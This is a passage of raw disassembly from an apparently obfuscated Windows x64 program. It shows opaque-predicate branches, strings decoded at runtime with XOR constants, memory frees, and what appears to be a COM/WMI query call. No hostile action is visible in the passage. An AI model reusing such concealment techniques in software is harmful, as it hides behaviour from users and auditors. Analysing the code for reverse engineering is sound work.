and rcx, r15
mov byte [rbx + r9], r8b
mov byte [rcx + rbx + 0x10], r8b
inc qword [rsp + 0x88]
mov rcx, r9
neg rcx
lea rcx, [rcx + rcx*2]
mov qword [rbx + rcx*8 - 0x18], rbp
mov qword [rbx + rcx*8 - 0x10], r13
mov qword [rbx + rcx*8 - 8], rbp
jmp 0x14001eea6
sub r12, r14
je 0x14001eff0
movabs rcx, 0xaaaaaaaaaaaaaaab
mov rax, r12
mul rcx
mov rsi, rdx
shr rsi, 5
xor edi, edi
mov ebx, 0xce4c9929
jmp 0x14001efb4
mov rcx, r14
call fcn.14000d8d0
add r14, 0x30
inc rdi
dec rsi
je 0x14001eff0
mov eax, dword [0x141dc2ca0]
add eax, dword [0x141dc2ca4]
imul rax, rbx
shr rax, 0x3e
add eax, 0xe33eb8b3
xor eax, 0xa484616a
cmp eax, 0x623316fd
jbe 0x14001efa0
mov rcx, r14
call fcn.14000d8d0
jmp 0x14001efa0
mov eax, dword [0x141dc2ca8]
sub eax, dword [0x141dc2cac]
xor eax, 0x11080004
and eax, 0xd78a2f15
add eax, 0x3ea698e9
cmp eax, 0x165e52ae
jb 0x14001eff0
mov r8, qword [rsp + 0xf8]
nop word [rax + rax]
mov eax, dword [0x141dc2cb0]
imul eax, dword [0x141dc2cb4]
cmp eax, 0xc68a4756
je 0x14001f020
cmp qword [rsp + 0x218], 0
je 0x14001f050
mov rcx, qword [0x141ddb9a0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop
mov eax, dword [0x141dc2cb8]
sub eax, dword [0x141dc2cbc]
add eax, 0x6b351a88
xor eax, 0x3a0a9674
cmp eax, 0x8c5d0165
jb 0x14001f050
mov rdi, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x88]
test rbx, rbx
sete byte [rsp + 0x37]
test rdi, rdi
je 0x14001f2c8
nop dword [rax + rax]
mov eax, dword [0x141dc2cc0]
imul eax, dword [0x141dc2cc4]
add eax, 0xd83bd9c7
imul rax, rax, 0x640950c3
shr rax, 0x3d
imul eax, eax, 0xd6d0f5f4
cmp eax, 0x48114662
jb 0x14001f090
test rbx, rbx
je 0x14001f213
nop word cs:[rax + rax]
mov eax, dword [0x141dc2cc8]
sub eax, dword [0x141dc2ccc]
xor eax, 0x31fb921
add eax, 0x858f910f
xor eax, 0xe23bba1a
cmp eax, 0xcac627cf
ja 0x14001f0d0
mov r14, qword [rsp + 0x70]
movdqa xmm0, xmmword [r14]
pmovmskb r13d, xmm0
not r13d
lea r15, [r14 + 0x10]
xor ebp, ebp
mov r12, qword [sym.imp.KERNEL32.dll_HeapFree]
nop word cs:[rax + rax]
test r13w, r13w
jne 0x14001f154
nop word cs:[rax + rax]
test bpl, bpl
jne case.0x1400029e1.164
movdqa xmm0, xmmword [r15]
pmovmskb r13d, xmm0
add r14, 0xfffffffffffffe80
add r15, 0x10
cmp r13w, 0xffff
je case.0x1400029e1.164
not r13d
tzcnt eax, r13d
neg rax
lea rax, [rax + rax*2]
cmp qword [r14 + rax*8 - 0x18], 0
je 0x14001f1b0
lea rax, [r14 + rax*8]
mov rsi, qword [rax - 0x10]
mov eax, dword [0x141dc2cd0]
sub eax, dword [0x141dc2cd4]
or eax, 0x9d357e48
add eax, 0x46ee86b9
xor eax, 0x800cfc14
cmp eax, 0x140f6b43
jae 0x14001f1a1
mov rcx, qword [0x141ddb9a0]
xor edx, edx
mov r8, rsi
call r12
mov rcx, qword [0x141ddb9a0]
xor edx, edx
mov r8, rsi
call r12
lea eax, [r13 - 1]
and eax, r13d
mov r13d, eax
dec rbx
nop dword [rax]
mov eax, dword [0x141dc2cd8]
and eax, dword [0x141dc2cdc]
imul rax, rax, 0x438dfe55
shr rax, 0x3e
xor eax, 0x2be527a5
add eax, 0xaa087b1
cmp eax, 0x51b3b15
jb 0x14001f1c0
nop dword [rax + rax]
mov eax, dword [0x141dc2ce0]
xor edx, edx
div dword [0x141dc2ce4]
xor eax, 0xbdc77ff8
cmp eax, 0x178e392e
jb 0x14001f1f0
test rbx, rbx
jne 0x14001f120
lea rcx, [rdi + 1]
mov r9d, 0x18
nop dword [rax]
mov eax, dword [0x141dc2ce8]
or eax, dword [0x141dc2cec]
add eax, 0x7a1e40d5
xor eax, 0x49f2c55c
imul r10d, eax, 0x525c9b33
mov rax, rcx
mul r9
cmp r10d, 0x4c216739
je 0x14001f220
mov r8, rax
add r8, 0xf
and r8, 0xfffffffffffffff0
add rdi, 0x11
nop dword [rax + rax]
mov eax, dword [0x141dc2cf0]
mov ecx, dword [0x141dc2cf4]
add eax, ecx
add eax, 0x8513ad15
cmp eax, 0x9205ad5e
ja 0x14001f260
add rdi, r8
je 0x14001f2c8
neg r8
nop word cs:[rax + rax]
mov eax, dword [0x141dc2cf8]
xor edx, edx
div dword [0x141dc2cfc]
add eax, 0x6c3026a0
and eax, 0xf3bfef9d
add eax, 0x8e4ee1
cmp eax, 0x4ff4d1fb
jb 0x14001f290
add r8, qword [rsp + 0x70]
mov rcx, qword [0x141ddb9a0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [0x141dc2d00]
xor edx, edx
div dword [0x141dc2d04]
mov rsi, qword [rsp + 0x230]
mov rdi, qword [rsi]
mov eax, dword [0x141dc2d08]
and eax, dword [0x141dc2d0c]
and eax, 0xf08c9a87
imul rcx, rax, 0x16fa3113
shr rcx, 0x20
sub eax, ecx
shr eax, 1
add eax, ecx
shr eax, 0x1e
imul eax, eax, 0x6710b1d4
cmp eax, 0xb7387988
jbe 0x14001f320
mov rcx, rsi
call qword [rdi + 0x10]
nop dword [rax]
mov eax, dword [0x141dc2d10]
imul eax, dword [0x141dc2d14]
or eax, 0x5a0271a0
imul ebx, eax, 0x3689b048
add ebx, 0x5accd428
mov rcx, rsi
call qword [rdi + 0x10]
cmp ebx, 0xe8b3e499
ja 0x14001f320
jmp 0x14001f3e4
ud2
ud2
mov eax, dword [0x141dc2c58]
mov ecx, dword [0x141dc2c5c]
add eax, ecx
add eax, 0xa95ccd83
xor eax, 0x2c882760
cmp eax, 0xa9a820c8
ja case.0x14001e4af.0
mov byte [rsp + 0x37], 1
lea rdx, [0x141db9b68]
lea r12, [rsp + 0x140]
mov r8d, 0xa
mov rcx, r12
call fcn.1400de170
cmp byte [rsp + 0x140], 0x12
jne 0x14001f67c
nop
mov eax, dword [0x141dc2db8]
or eax, dword [0x141dc2dbc]
or eax, 0x428cf4d2
imul eax, eax, 0x97eb1c2f
cmp eax, 0x2882d6a3
je 0x14001f410
mov rsi, qword [rsp + 0x148]
nop word cs:[rax + rax]
mov eax, dword [0x141dc2dc0]
xor eax, dword [0x141dc2dc4]
xor eax, 0x7a202f9
imul rdi, rax, 0x5058297b
shr rdi, 0x3d
add edi, 0x37384e5e
mov qword [rsp + 0x268], rsi
movzx eax, byte [0x141ddb9b8]
mov edx, 0xd8
xor ecx, ecx
call fcn.1400bf820
cmp edi, 0x3f7bdb3b
ja 0x14001f440
nop word cs:[rax + rax]
mov ecx, dword [0x141dc2dc8]
and ecx, dword [0x141dc2dcc]
imul ecx, ecx, 0xc262228d
or ecx, 0x6ca6fdb
xor ecx, 0x4e17bbac
cmp ecx, 0x3dc0e85d
jb 0x14001f490
test rax, rax
je 0x1400217f0
mov qword [rsp + 0xf8], rax
mov eax, dword [0x141dc2de8]
imul eax, dword [0x141dc2dec]
xor eax, 0x97bb7a8b
mov ecx, 0xa6ebe967
imul rcx, rax
shr rcx, 0x3d
imul ecx, ecx, 0xf21ce79b
lea rax, [0x141db1141]
cmp ecx, 0xea398915
jbe 0x14001f503
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x140], rax
mov rcx, qword [rsp + 0x140]
movabs rax, 0x1aa62311de6753e2
nop dword [rax]
mov edx, dword [0x141dc2df0]
and edx, dword [0x141dc2df4]
imul rdx, rdx, 0xebdc13d
shr rdx, 0x3b
xor edx, 0x18c3e20f
mov qword [rsp + 0x140], rax
cmp edx, 0x89d3fcdc
ja 0x14001f520
mov rdx, qword [rsp + 0x140]
call fcn.140018d30
mov rsi, qword [rax]
mov rdi, qword [rax + 8]
mov r14, qword [rax + 0x10]
mov r15, qword [rax + 0x18]
movzx ebx, byte [rax + 0x20]
movzx eax, byte [0x141ddb9b8]
mov edx, 0x21
xor ecx, ecx
call fcn.1400bf820
test rax, rax
je 0x14001f656
mov r13, rax
xor bl, 0x38
movabs rax, 0xb8e3b3571abd91f6
xor rsi, rax
movabs rax, 0xc555faa31fafb673
xor rdi, rax
movabs rax, 0x99e207453a3553c3
xor r14, rax
movabs rax, 0x4b556e75f853b3c0
xor r15, rax
mov qword [r13], rsi
mov qword [r13 + 8], rdi
mov qword [r13 + 0x10], r14
mov qword [r13 + 0x18], r15
mov byte [r13 + 0x20], bl
lea rax, [0x141da98cf]
mov qword [rsp + 0x140], rax
mov rcx, qword [rsp + 0x140]
movabs rax, 0x18df362b9eef8309
mov qword [rsp + 0x140], rax
mov rdx, qword [rsp + 0x140]
call fcn.1400197e0
mov rsi, qword [rax]
mov rdi, qword [rax + 8]
mov rbx, qword [rax + 0x10]
movzx eax, byte [0x141ddb9b8]
mov eax, dword [0x141dc2e00]
sub eax, dword [0x141dc2e04]
shr eax, 1
mov ecx, 0x8ac1a5d3
imul rcx, rax
shr rcx, 0x3e
or ecx, 0xef6ea4f6
imul eax, ecx, 0xd2ae4ef
cmp eax, 0x49b25d67
je 0x14001f737
jmp 0x14001f707
mov eax, dword [0x141dc2df8]
and eax, dword [0x141dc2dfc]
and eax, 0x486d6391
xor eax, 0xd4d10416
cmp eax, 0x2988829e
jb 0x1400217ea
jmp 0x1400217f0
mov eax, dword [0x141dc2dd0]
or eax, dword [0x141dc2dd4]
imul eax, eax, 0x81e955f4
or eax, 0x4d5671b
imul eax, eax, 0x592955ec
cmp eax, 0x304728ef
jae 0x14001f6a2
ud2
mov ecx, 0x9155ed3f
nop word [rax + rax]
mov eax, dword [0x141dc2dd8]
xor edx, edx
div dword [0x141dc2ddc]
and eax, 0xe83d395f
imul rax, rcx
shr rax, 0x3f
ud2
mov eax, dword [0x141dc2e08]
and eax, dword [0x141dc2e0c]
or eax, 0x489e50e5
xor eax, 0x53dce1ff
imul ebp, eax, 0x836392ad
mov edx, 0x18
xor ecx, ecx
call fcn.1400bf820
cmp ebp, 0x86685e13
jbe 0x14001f745
mov edx, 0x18
xor ecx, ecx
call fcn.1400bf820
jmp 0x14001f707
test rax, rax
je 0x1400217f4
movabs r14, 0xe5f98342d6285a21
movabs rdx, 0x58a4a10f1b52dc8e
movabs rcx, 0x238ecb689027d34f
mov r9d, dword [0x141dc2e28]
xor r9d, dword [0x141dc2e2c]
movabs r8, 0xe787520a6957539
or r9d, 0xfeff4c8f
imul r9d, r9d, 0xb593a37d
cmp r9d, 0x3995e6dc
jae 0x14001f7d1
mov r9, rbx
xor r9, rdx
mov r10, rsi
xor r10, rcx
mov r11, rdi
xor r11, r8
mov qword [rax], r10
mov qword [rax + 8], r11
mov qword [rax + 0x10], r9
lea r9, [0x141db0af7]
mov qword [rsp + 0x70], r9
lea r9, [rsp + 0x70]
mov qword [rsp + 0x140], r14
xor rbx, rdx
xor rsi, rcx
xor rdi, r8
mov qword [rax], rsi
mov qword [rax + 8], rdi
mov qword [rsp + 0x138], rax
mov qword [rax + 0x10], rbx
lea rcx, [0x141db0af7]
mov qword [rsp + 0x70], rcx
lea rcx, [rsp + 0x70]
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x140], r14
mov rdx, qword [rsp + 0x140]
call fcn.140019270
mov rbx, qword [rax]
mov r14, qword [rax + 8]
mov r15, qword [rax + 0x10]
mov rsi, qword [rax + 0x18]
movzx edi, word [rax + 0x20]
movzx ebp, byte [rax + 0x22]
movzx eax, byte [0x141ddb9b8]
mov edx, 0x23
xor ecx, ecx
call fcn.1400bf820
test rax, rax
je 0x14001e30e
mov r11, rax
shl ebp, 0x10
or edi, ebp
movabs rcx, 0x769b8c2e4422b878
movabs r8, 0x6755d812e4d7bb81
movabs r9, 0x61cf02dc56a93119
mov eax, dword [0x141dc2e30]
xor edx, edx
div dword [0x141dc2e34]
imul rax, rax, 0x7b103c27
shr rax, 0x3e
imul eax, eax, 0x2481b722
add eax, 0xc1bb1602
cmp eax, 0x17cb3879
jae 0x14001f8b9
mov rax, r15
xor rax, r9
mov rdx, r14
xor rdx, r8
mov r10, rbx
xor r10, rcx
mov qword [r11], r10
mov qword [r11 + 8], rdx
mov qword [r11 + 0x10], rax
mov eax, edi
shr eax, 0x10
mov edx, edi
shr edx, 8
movabs r10, 0x41dc7afdb30c80d6
xor rsi, r10
xor r15, r9
xor r14, r8
xor rbx, rcx
nop dword [rax]
mov ecx, dword [0x141dc2e38]
imul ecx, dword [0x141dc2e3c]
xor ecx, 0x1004000
or ecx, 0x88c0811
and ecx, 0x5f8c6831
mov qword [r11], rbx
mov qword [r11 + 8], r14
mov qword [r11 + 0x10], r15
cmp ecx, 0x28ef21d2
jb 0x14001f8e0
xor al, 0xf4
xor dl, 0xa
xor dil, 0x3c
mov qword [r11 + 0x18], rsi
mov byte [r11 + 0x20], dil
mov byte [r11 + 0x21], dl
mov qword [rsp + 0x210], r11
mov byte [r11 + 0x22], al
lea rax, [0x141db02ba]
mov qword [rsp + 0x140], rax
mov rcx, qword [rsp + 0x140]
movabs rax, 0xcf7fd1b26766d6fe
mov qword [rsp + 0x140], rax
mov rdx, qword [rsp + 0x140]
call fcn.140018770
mov r14, qword [rax]
mov rbx, qword [rax + 8]
mov edi, dword [rax + 0x10]
movzx esi, word [rax + 0x14]
movzx eax, byte [0x141ddb9b8]
mov edx, 0x16
xor ecx, ecx
call fcn.1400bf820
test rax, rax
je 0x14002163d
mov edx, esi
shr edx, 8
xor dl, 0x6b
xor sil, 0x9a
xor edi, 0x2c7e60eb
movabs rcx, 0x3bea48f17edcc1a5
xor rbx, rcx
movabs rcx, 0x248c1265d77fbad7
xor r14, rcx
mov qword [rax], r14
mov qword [rax + 8], rbx
mov dword [rax + 0x10], edi
mov byte [rax + 0x14], sil
mov qword [rsp + 0x128], rax
mov byte [rax + 0x15], dl
lea rax, [0x141db3cec]
mov qword [rsp + 0x140], rax
mov rcx, qword [rsp + 0x140]
movabs rax, 0xa5467b565817a88d
mov qword [rsp + 0x140], rax
mov rdx, qword [rsp + 0x140]
call fcn.14001a600
mov r14, qword [rax]
mov rbx, qword [rax + 8]
mov rdi, qword [rax + 0x10]
mov rsi, qword [rax + 0x18]
movzx eax, byte [0x141ddb9b8]
mov edx, 0x20
xor ecx, ecx
call fcn.1400bf820
test rax, rax
je 0x1400217c5
movabs rcx, 0x52076ed2119b041e
xor rsi, rcx
movabs rcx, 0xddef675c26542d24
xor rdi, rcx
movabs rcx, 0x2c88e1ff13aee591
xor rbx, rcx
movabs rcx, 0xb30939af6e080738
xor r14, rcx
mov qword [rax], r14
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rsp + 0x218], rax
mov qword [rax + 0x18], rsi
lea rax, [0x141da7ce7]
mov qword [rsp + 0x140], rax
mov rcx, qword [rsp + 0x140]
movabs rax, 0x6c589f3c6aac093d
mov qword [rsp + 0x140], rax
mov rdx, qword [rsp + 0x140]
call fcn.140019620
mov rsi, rax
mov r14, qword [rax]
mov r15, qword [rax + 8]
mov eax, dword [str.r_a6]
add eax, dword [0x141dc2e5c]
and eax, 0x8f1baf15
imul eax, eax, 0xde0aca5f
cmp eax, 0xc733eca6
jne 0x14001fb04
mov rax, qword [rsi + 0x10]
mov eax, dword [rsi + 0x18]
movzx eax, byte [rsi + 0x1e]
movzx eax, word [rsi + 0x1c]
movzx eax, byte [0x141ddb9b8]
mov edx, 0x1f
xor ecx, ecx
call fcn.1400bf820
mov rdi, qword [rsi + 0x10]
mov ebx, dword [rsi + 0x18]
movzx r12d, word [rsi + 0x1c]
movzx esi, byte [rsi + 0x1e]
movzx eax, byte [0x141ddb9b8]
mov edx, 0x1f
xor ecx, ecx
call fcn.1400bf820
test rax, rax
je 0x14001e30e
mov rbp, rax
shl esi, 0x10
or r12d, esi
movabs rax, 0xe5e5d8da0f3ca662
movabs rcx, 0xa05c538181284305
mov edx, dword [0x141dc2e60]
sub edx, dword [0x141dc2e64]
imul edx, edx, 0xcfc4a44
or edx, 0xb2233cf
add edx, 0xc98c69f2
cmp edx, 0xeea4d657
jbe 0x14001fb87
mov rdx, r15
xor rdx, rcx
mov r8, r14
xor r8, rax
mov qword [rbp], r8
mov qword [rbp + 8], rdx
mov qword [rsp + 0x220], r13
mov r8d, r12d
shr r8d, 0x10
xor r8b, 0xf1
mov edx, r12d
mov r9d, r12d
shr r9d, 8
xor r9b, 0x97
xor dl, 0x35
mov dword [rsp + 0x68], edx
xor ebx, 0x7d92d63f
movabs rdx, 0x5ce374e06fa0b477
xor rdi, rdx
xor r15, rcx
xor r14, rax
mov qword [rbp], r14
mov qword [rbp + 8], r15
movabs rdx, 0x350cd65ad7c552e3
mov eax, dword [0x141dc2e68]
sub eax, dword [0x141dc2e6c]
shr eax, 3
imul rax, rax, 0x9e32c89
shr rax, 0x38
or eax, 0x70d1d236
imul eax, eax, 0x467fad65
cmp eax, 0x7953670a
jne 0x14001fc69
mov qword [rbp + 0x10], rdi
mov dword [rbp + 0x18], ebx
mov eax, dword [rsp + 0x68]
mov byte [rbp + 0x1c], al
mov byte [rbp + 0x1d], r9b
mov byte [rbp + 0x1e], r8b
lea rax, [0x141db0544]
mov qword [rsp + 0x140], rax
lea rax, [rsp + 0x140]
mov rcx, qword [rsp + 0x140]
mov qword [rsp + 0x140], rdx
mov r15, rdx
mov rdx, qword [rsp + 0x140]
mov esi, r8d
mov r14d, r9d
call fcn.14001ab30
mov rdx, r15
mov r9d, r14d
mov r8d, esi
mov rcx, qword [rax]
mov rax, qword [rax + 8]
mov qword [rsp + 0x38], rdi
lea rdi, [rsp + 0x140]
mov esi, ebx
mov r12d, dword [rsp + 0x68]
nop dword [rax]
mov ebx, dword [0x141dc2e70]
sub ebx, dword [0x141dc2e74]
mov rax, qword [rsp + 0x38]
mov qword [rbp + 0x10], rax
mov dword [rbp + 0x18], esi
mov byte [rbp + 0x1c], r12b
mov byte [rbp + 0x1d], r9b
mov byte [rbp + 0x1e], r8b
lea rax, [0x141db0544]
mov qword [rsp + 0x140], rax
mov rcx, qword [rsp + 0x140]
mov qword [rsp + 0x140], rdx
mov r13, rbp
mov rbp, rdx
mov rdx, qword [rsp + 0x140]
mov r14d, r8d
mov r15d, r9d
call fcn.14001ab30
mov rdx, rbp
mov rbp, r13
mov r9d, r15d
mov r8d, r14d
mov r14, qword [rax]
mov r15, qword [rax + 8]
cmp ebx, 0xa34d7e8d
je 0x14001fc80
mov rdi, qword [rax + 0x10]
mov rsi, qword [rax + 0x18]
movzx eax, byte [0x141ddb9b8]
mov edx, 0x20
xor ecx, ecx
call fcn.1400bf820
test rax, rax
je 0x140021873
mov r12, rax
movabs rax, 0xec61b6186c600319
xor rsi, rax
movabs rax, 0x34d0b5017ceec360
xor rdi, rax
movabs rax, 0x30bfe9a5b6805736
xor r15, rax
movabs rax, 0xf3210060a1efa6f8
xor r14, rax
mov qword [r12], r14
mov qword [r12 + 8], r15
mov qword [r12 + 0x10], rdi
mov edx, dword [0x141dc2e88]
sub edx, dword [0x141dc2e8c]
movabs rax, 0xdd9f4446d57f8bd0
add edx, 0x6343ad07
lea rcx, [0x141db2e86]
cmp edx, 0x290aa36a
lea rbx, [rsp + 0x140]
jbe 0x14001fda8
mov qword [r12 + 0x18], rsi
mov qword [rsp + 0x140], rcx
mov qword [rsp + 0x140], rax
mov qword [r12 + 0x18], rsi
mov qword [rsp + 0x140], rcx
mov rcx, qword [rsp + 0x140]
mov qword [rsp + 0x140], rax
mov rdx, qword [rsp + 0x140]
call fcn.140018950
mov rsi, rax
mov eax, dword [0x141dc2e90]
xor edx, edx
div dword [str._yiI]
add eax, 0xc92c23f3
cmp eax, 0x7219bed2
jae 0x14001fe15
mov rax, qword [rsi]
mov rax, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
mov rax, qword [rsi + 0x18]
movzx eax, word [rsi + 0x20]
movzx eax, byte [0x141ddb9b8]
mov edx, 0x22
xor ecx, ecx
call fcn.1400bf820
mov r15, qword [rsi]
mov r14, qword [rsi + 8]
mov r13, qword [rsi + 0x10]
mov rbx, qword [rsi + 0x18]
movzx edi, word [rsi + 0x20]
movzx eax, byte [0x141ddb9b8]
mov edx, 0x22
xor ecx, ecx
call fcn.1400bf820
test rax, rax
je 0x14001e30e
mov rsi, rax
mov r8d, edi
shr r8d, 8
movabs rax, 0x69592385a5d30595
xor r15, rax
movabs rax, 0x579b6acce81d0731
xor r14, rax
movabs rax, 0xb967bf03629c020d
xor r13, rax
nop word cs:[rax + rax]
mov eax, dword [0x141dc2e98]
and eax, dword [0x141dc2e9c]
add eax, 0xbf3ed3b4
cmp eax, 0x2ab8ede4
jb 0x14001fe80
mov qword [rsp + 0x228], rbp
mov qword [rsp + 0x68], r12
xor r8b, 0xe4
xor dil, 0x3c
movabs r9, 0xc90af1440f2faed5
movabs r10, 0x8e66bf789e78f040
mov eax, dword [0x141dc2ea0]
mov ecx, dword [0x141dc2ea4]
add eax, ecx
add eax, 0xbd26ed57
mov ecx, 0x87bd4d21
imul rcx, rax
shr rcx, 0x3f
xor ecx, 0x3276f50b
cmp ecx, 0x5df585ff
mov rdx, rbx
jbe 0x14001ff63
mov rax, rdx
xor rax, r10
mov qword [rsi], r15
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], r13
mov qword [rsi + 0x18], rax
mov byte [rsi + 0x20], dil
mov byte [rsi + 0x21], r8b
lea rax, [0x141da712d]
mov qword [rsp + 0x140], rax
lea rax, [rsp + 0x140]
mov rcx, qword [rsp + 0x140]
mov qword [rsp + 0x140], r9
mov rdx, qword [rsp + 0x140]
mov ebp, r8d
mov r12, r9
call fcn.140019d80
movabs r10, 0x8e66bf789e78f040
mov r9, r12
mov r8d, ebp
mov rdx, rbx
mov rcx, qword [rax]
mov rax, qword [rax + 8]
xor rdx, r10
mov qword [rsp + 0x38], r14
mov r14, r15
mov r12d, edi
nop word cs:[rax + rax]
mov eax, dword [0x141dc2ea8]
mov ecx, dword [0x141dc2eac]
lea r15d, [rax + rcx]
add r15d, 0xbf6a9fff
xor r15d, 0x51fc8d5c
mov qword [rsi], r14
mov rax, qword [rsp + 0x38]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], r13
mov qword [rsi + 0x18], rdx
mov byte [rsi + 0x20], r12b
mov byte [rsi + 0x21], r8b
lea rax, [0x141da712d]
mov qword [rsp + 0x140], rax
lea rax, [rsp + 0x140]
mov rcx, qword [rsp + 0x140]
mov qword [rsp + 0x140], r9
mov rdi, rdx
mov rdx, qword [rsp + 0x140]
mov ebx, r8d
mov rbp, r9
call fcn.140019d80
mov r9, rbp
mov r8d, ebx
mov rdx, rdi
mov rdi, qword [rax]
mov rbx, qword [rax + 8]
cmp r15d, 0x52f05afc
jb 0x14001ff80
mov r14, qword [rax + 0x10]
mov r15d, dword [rax + 0x18]
movzx r12d, byte [rax + 0x1c]
movzx eax, byte [0x141ddb9b8]
mov edx, 0x1d
xor ecx, ecx
call fcn.1400bf820
test rax, rax
je 0x1400217f0
movabs rcx, 0xd5405059d663aea2
xor rdi, rcx
movabs rcx, 0x6ec9d88f3628e07c
xor rbx, rcx
movabs rcx, 0x657fd4eeeda5e03
xor r14, rcx
xor r12b, 0x93
xor r15d, 0xc6367791
mov rdx, qword [rsp + 0xf8]
mov r8, qword [rsp + 0x220]
mov r9, qword [rsp + 0x138]
mov r10, qword [rsp + 0x210]
mov r11, qword [rsp + 0x128]
mov r13, qword [rsp + 0x228]
nop
mov ecx, dword [0x141dc2eb0]
sub ecx, dword [0x141dc2eb4]
imul ecx, ecx, 0x5d456ba1
xor ecx, 0xce41971f
mov qword [rax], rdi
mov qword [rax + 8], rbx
mov qword [rax + 0x10], r14
mov dword [rax + 0x18], r15d
mov byte [rax + 0x1c], r12b
mov qword [rdx], 0x21
mov qword [rdx + 8], r8
mov qword [rdx + 0x10], 0x21
mov qword [rdx + 0x18], 0x18
mov qword [rdx + 0x20], r9
mov qword [rdx + 0x28], 0x18
mov qword [rdx + 0x30], 0x23
mov qword [rdx + 0x38], r10
mov qword [rdx + 0x40], 0x23
mov qword [rdx + 0x48], 0x16
mov qword [rdx + 0x50], r11
mov qword [rdx + 0x58], 0x16
mov qword [rdx + 0x60], 0x20
cmp ecx, 0xcf7614b0
ja 0x1400200a0
mov ecx, dword [0x141dc2eb8]
and ecx, dword [0x141dc2ebc]
add ecx, 0xd0c565a0
xor ecx, 0x78fe6995
cmp ecx, 0x45e7c9da
mov rcx, qword [rsp + 0x218]
mov r8, qword [rsp + 0x68]
jae 0x1400201c6
mov qword [rdx + 0x68], rcx
mov qword [rdx + 0x70], 0x20
mov qword [rdx + 0x78], 0x1f
mov qword [rdx + 0x80], r13
mov qword [rdx + 0x88], 0x1f
mov qword [rdx + 0x90], 0x20
mov qword [rdx + 0x98], r8
mov qword [rdx + 0xa0], 0x20
mov qword [rdx + 0xa8], 0x22
mov qword [rdx + 0xb0], rsi
mov qword [rdx + 0xb8], 0x22
mov qword [rdx + 0xc0], 0x1d
mov qword [rdx + 0x68], rcx
mov qword [rdx + 0x70], 0x20
mov qword [rdx + 0x78], 0x1f
mov qword [rdx + 0x80], r13
mov qword [rdx + 0x88], 0x1f
mov qword [rdx + 0x90], 0x20
mov qword [rdx + 0x98], r8
mov qword [rdx + 0xa0], 0x20
mov qword [rdx + 0xa8], 0x22
mov qword [rdx + 0xb0], rsi
mov qword [rdx + 0xb8], 0x22
mov qword [rdx + 0xc0], 0x1d
mov qword [rdx + 0xc8], rax
mov qword [rdx + 0xd0], 0x1d
mov rbp, qword [sym.imp.KERNEL32.dll_HeapFree]
xor edi, edi
lea rax, [rdi + rdi*2]
inc rdi
mov r8, qword [rdx + rax*8]
movabs rcx, 0x8000000000000000
cmp r8, rcx
je 0x140021309
mov qword [rsp + 0x220], r8
mov qword [rsp + 0x218], rdi
lea rax, [rdx + rax*8]
nop
mov ecx, dword [0x141dc2ed0]
xor ecx, dword [0x141dc2ed4]
add ecx, 0x72bf4d6
cmp ecx, 0x3a8ca66c
ja 0x140020280
mov rsi, qword [rax + 0x10]
test rsi, rsi
mov ecx, 0
mov edx, 0xb26d0751
mov edi, 0xea8e7531
js 0x1400216a2
mov rax, qword [rax + 8]
mov qword [rsp + 0x128], rax
nop word cs:[rax + rax]
test cl, cl
jne 0x1400202d0
nop word cs:[rax + rax]
mov eax, dword [0x141dc2ed8]
imul eax, dword [0x141dc2edc]
imul rax, rdx
shr rax, 0x3e
add eax, 0xd6cb4382
cmp eax, 0x4fc7e7a7
jb 0x1400202e0
test rsi, rsi
je 0x140020360
mov eax, dword [0x141dc2ee0]
and eax, dword [0x141dc2ee4]
xor eax, 0xc150563e
mov ecx, 0xc176ef25
imul rax, rcx
shr rax, 0x3d
add eax, 0xec22b987
cmp eax, 0x8b4dbf01
jae 0x140020337
movzx eax, byte [0x141ddb9b8]
movzx eax, byte [0x141ddb9b8]
xor ecx, ecx
mov rdx, rsi
call fcn.1400bf820
test rax, rax
je 0x1400216a2
mov r15, rax
jmp 0x140020366
mov r15d, 1
mov rcx, r15
mov rdx, qword [rsp + 0x128]
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov edx, 3
lea rcx, [0x140102e44]
call fcn.1400dc8c0
mov r14, rax
mov rcx, r15
mov rdx, rsi
call fcn.1400dc8c0
mov r12, rax
mov rcx, qword [rsp + 0x268]
mov qword [rsp + 0x70], 0
mov rax, qword [rcx]
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], 0
mov rdx, r14
mov r8, r12
mov r9d, 0x30
call qword [rax + 0xa0]
test eax, eax
js 0x140021702
nop dword [rax]
mov eax, dword [0x141dc2ef8]
or eax, dword [0x141dc2efc]
add eax, 0x7709d642
and eax, 0xde2aaf88
add eax, 0x83b8ce94
cmp eax, 0x240a315f
jb 0x1400203e0
mov r13, qword [rsp + 0x70]
test r13, r13
je 0x140022986
mov eax, dword [0x141dc2f30]
imul eax, dword [0x141dc2f34]
cmp eax, 0xd1c89359
je 0x140020410
nop word cs:[rax + rax]
mov eax, dword [0x141dc2f38]
imul eax, dword [0x141dc2f3c]
or eax, 0x423001
and eax, 0x1862f6c1
add eax, 0xde03fb3f
cmp eax, 0xba68eda6
jb 0x140020430
test r12, r12
je 0x1400204a0
mov rcx, r12
call qword [sym.imp.oleaut32.dll_SysFreeString]
nop word cs:[rax + rax]
mov eax, dword [0x141dc2f40]
xor eax, dword [0x141dc2f44]
add eax, 0x2bf07c14
xor eax, 0xbd6ae567
imul eax, eax, 0x16a105f1
cmp eax, 0xcb710b19
ja 0x140020470
nop word cs:[rax + rax]
mov eax, dword [0x141dc2f48]
imul eax, dword [0x141dc2f4c]
xor eax, 0x42aa0f7f
add eax, 0x53540c1f
xor eax, 0x110624eb
cmp eax, 0x16de0227
jb 0x1400204a0
test r14, r14
je 0x140020528
mov eax, dword [0x141dc2f50]
imul eax, dword [0x141dc2f54]
imul eax, eax, 0x8ae1fe3b
and eax, 0x90869f7c
add eax, 0xf554c019
cmp eax, 0xc9578ffa
jbe 0x1400204f5
mov rcx, r14
call qword [sym.imp.oleaut32.dll_SysFreeString]
mov rcx, r14
call qword [sym.imp.oleaut32.dll_SysFreeString]
nop
mov eax, dword [0x141dc2f58]
add eax, dword [0x141dc2f5c]
xor eax, 0xcb4bcbde
imul rax, rax, 0x231944a9
shr rax, 0x3c
or eax, 0x333c0c60
